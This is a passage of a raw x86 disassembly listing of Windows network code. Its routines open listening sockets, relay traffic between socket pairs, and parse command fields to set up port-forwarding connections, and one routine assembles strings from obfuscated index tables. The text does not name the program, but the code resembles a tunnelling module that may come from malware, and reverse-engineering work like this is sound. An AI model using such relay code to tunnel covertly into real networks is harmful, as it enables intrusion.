; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_13D5B2A mov ebx, recv mov ebp, send loc_13D5A96: ; CODE XREF: sub_13D5960+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_13D5B2A jge short loc_13D5AC0 call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jnz short loc_13D5B22 loc_13D5AC0: ; CODE XREF: sub_13D5960+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_13D5B2A jge short loc_13D5AFB call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jnz short loc_13D5B22 loc_13D5AFB: ; CODE XREF: sub_13D5960+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_13D5A96 jmp short loc_13D5B2A ; --------------------------------------------------------------------------- loc_13D5B22: ; CODE XREF: sub_13D5960+15Ej ; sub_13D5960+199j push 0Ah call Sleep ; Sleep loc_13D5B2A: ; CODE XREF: sub_13D5960+27j ; sub_13D5960+124j ... mov eax, [esi+0A1h] mov edi, closesocket cmp eax, 0FFFFFFFFh jz short loc_13D5B3E push eax call edi ; closesocket loc_13D5B3E: ; CODE XREF: sub_13D5960+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_13D5B4C push esi call edi ; closesocket loc_13D5B4C: ; CODE XREF: sub_13D5960+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_13D5960 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5BE0 proc near ; CODE XREF: sub_13ABA5Ej var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BC68h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_443D90 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E1C0 call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D5BE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5C50 proc near ; CODE XREF: sub_13AB9F0j sub_13AC3AAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABF8B test [esp+4+arg_0], 1 jz short loc_13D5C68 push esi call near ptr 13E0C02h add esp, 4 loc_13D5C68: ; CODE XREF: sub_13D5C50+Dj mov eax, esi pop esi retn 4 sub_13D5C50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D5C80 proc near ; CODE XREF: sub_13ABF8Bj jmp sub_13ABB9E sub_13D5C80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5CA0 proc near ; CODE XREF: sub_13ABDE2j var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push 43BC8Bh push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_13ABBE4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_13ABBE4 push eax push offset dword_445398 mov ecx, ebp call sub_13AB8D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 24h push 6 push 1 push 2 call socket ; socket cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_13D5ED8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx call htons ; htons mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h call bind ; bind test eax, eax jz short loc_13D5D8B mov edx, [esi+9Dh] push edx call closesocket ; closesocket pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_13D5D8B: ; CODE XREF: sub_13D5CA0+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_13D5E84 loc_13D5D9F: ; CODE XREF: sub_13D5CA0+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx call listen ; listen cmp eax, 0FFFFFFFFh jz loc_13D5E65 mov ecx, [esi+9Dh] lea edx, [esp+40h+var_30] lea eax, [esp+40h+var_18] push edx push eax push ecx call accept ; accept mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_13D5E65 xor edi, edi cmp ebp, edi jz loc_13D5E65 push 0A9h call near ptr 13E0C1Ah add esp, 4 mov [esp+38h+var_24], eax cmp eax, edi mov [esp+38h+arg_4], edi jz short loc_13D5E05 mov ecx, eax call sub_13ABA63 mov edi, eax loc_13D5E05: ; CODE XREF: sub_13D5CA0+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+3Ch+arg_4], 0FFFFFFFFh call sub_13AC3BE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_13AC3BE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_13AB7D4 loc_13D5E65: ; CODE XREF: sub_13D5CA0+111j ; sub_13D5CA0+133j ... push 0FAh call Sleep ; Sleep mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_13D5D9F loc_13D5E84: ; CODE XREF: sub_13D5CA0+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_13D5E96 push eax call closesocket ; closesocket loc_13D5E96: ; CODE XREF: sub_13D5CA0+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_13ABBE4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_13ABBE4 push eax push offset dword_445358 lea ecx, [esi+26h] call sub_13AB8D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 24h loc_13D5ED8: ; CODE XREF: sub_13D5CA0+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_13D5CA0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5F90 proc near ; CODE XREF: sub_13AC5DFj var_78 = byte ptr -78h var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BCD0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_13ABDB5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+80h+var_48] push 12h push edx call sub_13ABDB5 add esp, 38h push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+90h+var_54] push 12h push ecx call sub_13ABDB5 add esp, 3Ch push esi mov ecx, eax mov [esp+60h+var_1C], 2 call sub_13ABBE4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+0A0h+var_60] push 12h push eax call sub_13ABDB5 add esp, 40h push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_6C] mov [esp+74h+var_34], edi call sub_13AB626 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+0B0h+var_6C] push 12h push edx call sub_13ABDB5 add esp, 44h push esi mov ecx, eax mov [esp+78h+var_34], 4 call sub_13ABBE4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+80h+var_78] mov [esp+80h+var_40], edi call sub_13AB626 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+0B4h+var_60] push 12h push ecx call sub_13ABDB5 add esp, 3Ch push esi mov ecx, eax mov [esp+84h+var_40], 5 call sub_13ABBE4 add esi, 0EAh push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+8Ch+var_6C] mov [esp+8Ch+var_4C], edi call sub_13AB626 mov ecx, [esp+8Ch+var_54] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13D5F90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6280 proc near ; CODE XREF: sub_13AC42Cj var_158 = byte ptr -158h var_14C = dword ptr -14Ch var_144 = byte ptr -144h var_140 = byte ptr -140h var_134 = byte ptr -134h var_130 = byte ptr -130h var_12C = byte ptr -12Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_108 = byte ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h var_FC = dword ptr -0FCh var_F8 = byte ptr -0F8h var_F0 = dword ptr -0F0h var_E8 = dword ptr -0E8h var_E4 = byte ptr -0E4h var_E0 = byte ptr -0E0h var_DC = byte ptr -0DCh var_D8 = byte ptr -0D8h var_CC = byte ptr -0CCh var_C8 = byte ptr -0C8h var_C4 = byte ptr -0C4h var_B8 = byte ptr -0B8h var_B4 = byte ptr -0B4h var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = dword ptr -94h var_90 = byte ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = byte ptr -80h var_7C = dword ptr -7Ch var_70 = dword ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_5C = byte ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 43BDA4h push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+80h+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_13D63E7 push 0A1h call near ptr 13E0C1Ah add esp, 4 mov [esp+88h], eax xor edi, edi cmp eax, edi mov [esp+88h+var_8], edi jz short loc_13D62ED mov ecx, eax call sub_13ABA5E mov edi, eax loc_13D62ED: ; CODE XREF: sub_13D6280+62j push offset dword_443600 lea eax, [esp+8Ch+var_40] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+94h+var_8], ebx mov [edi+99h], ebp call sub_13ABAAE mov ecx, eax mov [esp+94h+var_14], 1 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+94h+var_4C] mov [edi+3Bh], eax mov [esp+94h+var_14], ebx call sub_13AB626 push offset dword_443600 lea ecx, [esp+98h+var_4C] push 2 push ecx mov ecx, esi call sub_13ABAAE push eax lea ecx, [edi+43h] mov [esp+0A4h+var_20], 2 call sub_13AC3BE lea ecx, [esp+0A4h+var_5C] mov [esp+0A4h+var_24], ebx call sub_13AB626 push offset dword_443600 lea edx, [esp+0A8h+var_5C] push 3 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0B0h+var_30], 3 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+0B0h+var_68] mov [edi+3Fh], eax mov [esp+0B0h+var_30], ebx call sub_13AB626 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_13AC3BE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_13AB7D4 loc_13D63E7: ; CODE XREF: sub_13D6280+3Dj lea ecx, [ebp+32h] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13D6517 push 9Dh call near ptr 13E0C1Ah add esp, 4 mov [esp+0B8h+var_30], eax test eax, eax mov [esp+0B8h+var_38], 4 jz short loc_13D642E mov ecx, eax call sub_13ABC89 mov edi, eax jmp short loc_13D6430 ; --------------------------------------------------------------------------- loc_13D642E: ; CODE XREF: sub_13D6280+1A1j xor edi, edi loc_13D6430: ; CODE XREF: sub_13D6280+1ACj push offset dword_443600 lea eax, [esp+0BCh+var_70] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+0C4h+var_38], ebx mov [edi+99h], ebp call sub_13ABAAE push eax lea ecx, [edi+58h] mov [esp+0C8h+var_44], 5 call sub_13AC3BE lea ecx, [esp+0C8h+var_80] mov [esp+0C8h+var_48], ebx call sub_13AB626 push offset dword_443600 lea ecx, [esp+0CCh+var_80] push 2 push ecx mov ecx, esi call sub_13ABAAE push eax lea ecx, [edi+6Dh] mov [esp+0D8h+var_54], 6 call sub_13AC3BE lea ecx, [esp+0D8h+var_90] mov [esp+0D8h+var_58], ebx call sub_13AB626 push offset dword_443600 lea edx, [esp+0DCh+var_90] push 3 push edx mov ecx, esi call sub_13ABAAE push eax lea ecx, [edi+82h] mov [esp+0E8h+var_64], 7 call sub_13AC3BE lea ecx, [esp+0E8h+var_A0] mov [esp+0E8h+var_68], ebx call sub_13AB626 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_13AC3BE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_13AB7D4 loc_13D6517: ; CODE XREF: sub_13D6280+17Aj lea ecx, [ebp+60h] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13D6640 push 0A2h call near ptr 13E0C1Ah add esp, 4 mov [esp+0F0h+var_68], eax test eax, eax mov [esp+0F0h+var_70], 8 jz short loc_13D655E mov ecx, eax call sub_13ABCDE mov edi, eax jmp short loc_13D6560 ; --------------------------------------------------------------------------- loc_13D655E: ; CODE XREF: sub_13D6280+2D1j xor edi, edi loc_13D6560: ; CODE XREF: sub_13D6280+2DCj push offset dword_443600 lea eax, [esp+0F4h+var_A8] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+0FCh+var_70], ebx mov [edi+99h], ebp call sub_13ABAAE mov ecx, eax mov [esp+0FCh+var_7C], 9 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+0FCh+var_B4] mov [edi+3Bh], eax mov [esp+0FCh+var_7C], ebx call sub_13AB626 push offset dword_443600 lea ecx, [esp+100h+var_B4] push 2 push ecx mov ecx, esi call sub_13ABAAE push offset dword_443964 mov ecx, eax mov [esp+10Ch+var_88], 0Ah call sub_13AB900 test eax, eax lea ecx, [esp+10Ch+var_C4] mov [esp+10Ch+var_8C], ebx setz [esp+10Ch+var_84] call sub_13AB626 mov al, [esp+10Ch+var_84] test al, al jz short loc_13D660E mov byte ptr [edi+9Dh], 1 jmp short loc_13D6615 ; --------------------------------------------------------------------------- loc_13D660E: ; CODE XREF: sub_13D6280+383j mov byte ptr [edi+9Dh], 0 loc_13D6615: ; CODE XREF: sub_13D6280+38Cj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_13AC3BE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_13AB7D4 loc_13D6640: ; CODE XREF: sub_13D6280+2AAj lea ecx, [ebp+8Eh] call sub_13ABBE4 push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13D670D push 0A1h call near ptr 13E0C1Ah add esp, 4 mov [esp+114h+var_8C], eax test eax, eax mov [esp+114h+var_94], 0Bh jz short loc_13D668A mov ecx, eax call sub_13AC56C mov edi, eax jmp short loc_13D668C ; --------------------------------------------------------------------------- loc_13D668A: ; CODE XREF: sub_13D6280+3FDj xor edi, edi loc_13D668C: ; CODE XREF: sub_13D6280+408j push offset dword_443600 lea edx, [esp+118h+var_CC] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+120h+var_94], ebx mov [edi+99h], ebp call sub_13ABAAE mov ecx, eax mov [esp+120h+var_A0], 0Ch call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+120h+var_D8] mov [edi+3Bh], eax mov [esp+120h+var_A0], ebx call sub_13AB626 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_13AC3BE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_13AB7D4 loc_13D670D: ; CODE XREF: sub_13D6280+3D6j lea ecx, [ebp+0BCh] call sub_13AB8D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+128h+var_9C], edi call sub_13AB6EE test eax, eax jnz loc_13D6939 lea ecx, [esp+128h+var_F8] call sub_13AB824 lea ecx, [esp+128h+var_110] mov [esp+128h+var_A8], 0Dh call sub_13AB824 push offset dword_443600 lea eax, [esp+12Ch+var_E0] push 2 push eax mov ecx, esi mov byte ptr [esp+134h+var_A8], 0Eh call sub_13ABAAE mov ecx, eax mov [esp+134h+var_B4], 0Fh call sub_13ABBE4 push eax lea ecx, [esp+138h+var_104] call sub_13ABE87 lea ecx, [esp+138h+var_F0] mov [esp+138h+var_B8], 0Eh call sub_13AB626 push offset dword_443600 lea ecx, [esp+13Ch+var_F0] push 3 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+144h+var_C4], 10h call sub_13ABBE4 push eax lea ecx, [esp+148h+var_12C] call sub_13ABE87 lea ecx, [esp+148h+var_100] mov [esp+148h+var_C8], 0Eh call sub_13AB626 lea ecx, [esp+148h+var_118] call sub_13AB8D3 cmp eax, offset byte_446F80 jnz short loc_13D67EF push offset dword_445410 lea ecx, [esp+14Ch+var_130] call sub_13ABE87 loc_13D67EF: ; CODE XREF: sub_13D6280+55Fj lea ecx, [esp+14Ch+var_134] call sub_13AB8D3 cmp eax, offset byte_446F80 jnz short loc_13D680D push offset byte_446F80 lea ecx, [esp+150h+var_134] call sub_13ABE87 loc_13D680D: ; CODE XREF: sub_13D6280+57Dj push offset dword_443600 lea edx, [esp+154h+var_108] push 1 push edx mov ecx, esi call sub_13ABAAE mov edi, eax lea ecx, [esp+15Ch+var_144] mov [esp+15Ch+var_DC], 11h call sub_13ABBE4 push eax lea ecx, [esp+160h+var_12C] call sub_13ABBE4 push eax mov ecx, edi call sub_13ABBE4 mov edi, atoi push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset dword_4453CC call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 20h lea ecx, [esp+15Ch+var_114] mov [esp+15Ch+var_DC], 0Eh call sub_13AB626 lea ecx, [esp+15Ch+var_144] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+174h+var_14C], esp push eax call sub_13ABC61 lea ecx, [esp+178h+var_130] mov [esp+178h+var_E0], 12h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+190h+var_14C], esp push eax call sub_13ABC61 push offset dword_443600 lea edx, [esp+198h+var_104] push 1 push edx mov ecx, esi mov [esp+1A0h+var_E4], 13h call sub_13ABAAE mov ecx, eax mov byte ptr [esp+1A0h+var_F0], 15h call sub_13ABBE4 push eax call edi ; atoi add esp, 4 push eax call sub_13AC017 add esp, 34h lea ecx, [esp+170h+var_110] mov byte ptr [esp+170h+var_F0], 0Eh call sub_13AB626 lea ecx, [esp+170h+var_158] mov byte ptr [esp+170h+var_F0], 0Dh call sub_13AB626 lea ecx, [esp+170h+var_140] mov [esp+170h+var_F0], ebx call sub_13AB626 mov edi, [esp+170h+var_E8] loc_13D6939: ; CODE XREF: sub_13D6280+4ACj lea ecx, [ebp+0EAh] call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13D6956 mov [ebp+11Ch], al loc_13D6956: ; CODE XREF: sub_13D6280+6CEj mov ecx, [esp+174h+var_FC] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 sub_13D6280 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6B30 proc near ; CODE XREF: sub_13AC5A8j push ecx mov edx, ds:dword_447A9D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_13D6B51 inc ecx mov [eax+118h], ecx loc_13D6B51: ; CODE XREF: sub_13D6B30+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_E2AAEB call sub_13AB60D xor eax, eax pop esi pop ecx retn sub_13D6B30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6BB0 proc near ; CODE XREF: sub_13AC206j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call near ptr 13E136Eh test eax, eax jz short loc_13D6BE2 mov ecx, _iob push eax add ecx, 40h push offset dword_445424 push ecx call fprintf ; fprintf add esp, 0Ch loc_13D6BE2: ; CODE XREF: sub_13D6BB0+17j add esp, 190h retn sub_13D6BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6C00 proc near ; CODE XREF: sub_13AC17Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_13D6C13 mov ecx, [eax+18h] test ecx, ecx jnz short loc_13D6C13 add eax, 44h retn ; --------------------------------------------------------------------------- loc_13D6C13: ; CODE XREF: sub_13D6C00+6j ; sub_13D6C00+Dj xor eax, eax retn sub_13D6C00 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D6C30 proc near ; CODE XREF: sub_13ABE69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call _mbsdup ; _mbsdup mov ebp, eax push 3Ah push ebp call strchr ; strchr mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_13D6CA4 push offset dword_445488 push offset dword_444424 call near ptr 13E13B6h cmp eax, ebx jnz short loc_13D6CF8 push offset dword_445478 call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6CA4: ; CODE XREF: sub_13D6C30+47j mov [esi], bl mov eax, __mb_cur_max inc esi cmp dword ptr [eax], 1 jle short loc_13D6CC2 movsx ecx, byte ptr [esi] push 4 push ecx call _isctype ; _isctype add esp, 8 jmp short loc_13D6CD2 ; --------------------------------------------------------------------------- loc_13D6CC2: ; CODE XREF: sub_13D6C30+7Fj mov eax, _pctype movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_13D6CD2: ; CODE XREF: sub_13D6C30+90j cmp eax, ebx jz short loc_13D6CED push esi call atoi ; atoi add esp, 4 push eax call near ptr 13E1356h mov word ptr [esp+24h+var_10+2], ax jmp short loc_13D6D01 ; --------------------------------------------------------------------------- loc_13D6CED: ; CODE XREF: sub_13D6C30+A4j push offset dword_445488 push esi call near ptr 13E13B6h loc_13D6CF8: ; CODE XREF: sub_13D6C30+5Aj mov dx, [eax+8] mov word ptr [esp+24h+var_10+2], dx loc_13D6D01: ; CODE XREF: sub_13D6C30+BBj push ebp call near ptr 13E1314h cmp eax, 0FFFFFFFFh mov [esp+24h+var_C], eax jnz short loc_13D6D4D push ebp call near ptr 13E1308h cmp eax, ebx jnz short loc_13D6D32 push offset dword_445468 call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6D32: ; CODE XREF: sub_13D6C30+E8j movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] mov edx, ecx lea edi, [esp+24h+var_C] mov esi, [eax] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_13D6D4D: ; CODE XREF: sub_13D6C30+DEj push ebp mov ebp, free call ebp ; free add esp, 4 push 6 push 1 push 2 call near ptr 13E135Ch mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_13D6D83 push offset dword_445460 call perror ; perror add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6D83: ; CODE XREF: sub_13D6C30+139j lea eax, [esp+24h+var_14] push 4 push eax push 4 push 0FFFFh push edi call near ptr 13E13A4h cmp eax, 0FFFFFFFFh jnz short loc_13D6DA3 push offset dword_445450 jmp short loc_13D6DD7 ; --------------------------------------------------------------------------- loc_13D6DA3: ; CODE XREF: sub_13D6C30+16Aj lea ecx, [esp+24h+var_10] push 10h push ecx push edi call near ptr 13E1362h cmp eax, 0FFFFFFFFh jnz short loc_13D6DBC push offset dword_445250 jmp short loc_13D6DD7 ; --------------------------------------------------------------------------- loc_13D6DBC: ; CODE XREF: sub_13D6C30+183j push 144h push 1 call calloc ; calloc mov esi, eax add esp, 8 cmp esi, ebx jnz short loc_13D6DF0 push offset dword_445448 loc_13D6DD7: ; CODE XREF: sub_13D6C30+171j ; sub_13D6C30+18Aj call perror ; perror add esp, 4 push edi call near ptr 13E1326h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6DF0: ; CODE XREF: sub_13D6C30+1A0j push 2000h call malloc ; malloc add esp, 4 cmp eax, ebx mov [esi+14h], eax jnz short loc_13D6E29 push offset dword_445448 call perror ; perror add esp, 4 push edi call near ptr 13E1326h push esi call ebp ; free add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6E29: ; CODE XREF: sub_13D6C30+1D3j push esi push 32h mov [esi+8], edi mov [esi+18h], ebx mov [esi+1Ch], ebx mov dword ptr [esi+24h], 1 mov [esi+30h], ebx mov [esi+2Ch], ebx mov [esi+28h], ebx mov [esi+34h], ebx mov [esi+38h], ebx mov [esi+40h], ebx mov [esi+3Ch], ebx call sub_13D6F30 add esp, 8 test eax, eax jnz short loc_13D6E79 push edi call near ptr 13E1326h mov edx, [esi+14h] push edx call ebp ; free push esi call ebp ; free add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13D6E79: ; CODE 